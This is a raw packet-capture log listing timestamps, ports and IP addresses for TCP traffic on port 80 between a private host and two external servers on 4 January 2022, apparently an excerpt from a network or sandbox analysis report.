Jan 4, 2022 19:33:36.987570047 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987592936 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987618923 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987634897 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987648010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987675905 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987700939 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987701893 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987729073 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987734079 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987756014 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987782001 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987782955 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987828970 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987854958 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987867117 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987904072 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987940073 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987960100 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987974882 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988010883 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988025904 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988046885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988071918 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988080978 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988140106 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988156080 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988159895 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988173962 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988209963 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988225937 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988245010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988259077 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988281965 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988316059 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988353014 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988368034 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988394976 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988409042 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988414049 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988442898 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988471985 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988498926 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988527060 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988565922 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988600969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.988699913 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.988708973 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.004692078 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.026161909 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.026210070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.026320934 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.048788071 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.048845053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.048917055 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.048945904 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.048955917 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.048995018 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049034119 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049035072 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049073935 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049113989 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049129963 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049154997 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049165010 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049191952 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049232006 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049269915 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049283028 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049308062 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049319029 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049346924 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049386024 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049396038 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049426079 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049472094 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049494028 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049510002 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049551010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049566031 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049590111 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049628019 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049669027 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049669981 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049709082 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049747944 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049751043 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049793005 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049806118 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049829960 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049869061 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049907923 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049945116 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049945116 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.049983025 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.049983978 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050023079 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050035000 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050062895 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050101995 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050138950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050156116 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050178051 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050189018 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050216913 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050254107 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050277948 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050292969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050331116 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050340891 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050370932 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050414085 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050450087 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050471067 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050488949 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050503969 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050528049 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050565958 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050579071 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.050606012 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050647020 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.050715923 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.086467028 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.086519957 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.086545944 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.110711098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110754967 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110795021 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110810995 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.110835075 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110852003 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.110874891 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110914946 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110951900 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.110970020 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.110990047 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111010075 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111030102 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111066103 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111104965 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111120939 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111143112 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111144066 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111170053 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111181974 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111222982 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111238003 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111260891 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111299992 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111352921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111382961 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111390114 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111413956 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111429930 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111469030 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111506939 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111525059 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111546040 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111557961 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111583948 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111624002 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111665964 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111692905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111702919 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111728907 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111742973 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111782074 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111819983 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111838102 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111859083 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111872911 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.111897945 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111938000 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111978054 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.111998081 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112016916 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112030029 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112056017 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112095118 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112133026 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112149954 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112174034 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112185955 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112212896 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112252951 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112293005 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112308979 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112330914 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112344980 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112370014 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112409115 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112447023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112466097 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112487078 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112500906 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112525940 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112565994 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112607002 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.112622023 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.112659931 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.146667004 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172641039 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172713041 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172765970 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172792912 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.172806978 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172832012 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.172877073 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172941923 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.172982931 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173017025 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173021078 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173053026 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173059940 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173098087 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173135996 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173141003 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173173904 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173175097 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173212051 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173252106 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173288107 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173299074 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173326969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173329115 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173366070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173418045 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173471928 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173477888 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173525095 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173525095 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173564911 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173616886 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173666000 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173671007 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173715115 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173715115 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173753977 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173790932 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173830032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173840046 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173875093 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.173881054 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173923016 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173962116 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.173999071 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174007893 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174041033 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174045086 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174098969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174149990 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174199104 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174201965 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174247980 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174248934 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174288034 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174329042 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174371958 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174377918 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174423933 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174432039 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174473047 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174509048 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174547911 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174560070 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174587011 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174588919 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174637079 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174676895 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174711943 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174721956 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174751043 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174752951 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174791098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174828053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174866915 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174879074 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174906969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.174932003 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.174945116 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.175000906 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.222493887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222557068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222610950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222666979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222702980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.222728968 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222774029 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.222784996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222826004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222862959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222907066 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222944975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.222964048 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.222978115 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.222995996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223037958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223042011 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223077059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223104000 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223123074 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223175049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223198891 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223221064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223256111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223294020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223339081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223387003 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223423958 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223439932 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223453045 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223519087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223557949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223583937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223612070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223634005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223673105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223706007 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223721027 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223731041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.223733902 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.223769903 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.224060059 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.235033035 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235078096 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235111952 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235157967 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235200882 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235214949 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235250950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235251904 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235285997 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235338926 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235347033 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235385895 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235419035 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235444069 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235471010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235501051 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235515118 CET	80	49845	89.223.65.17	192.168.2.5
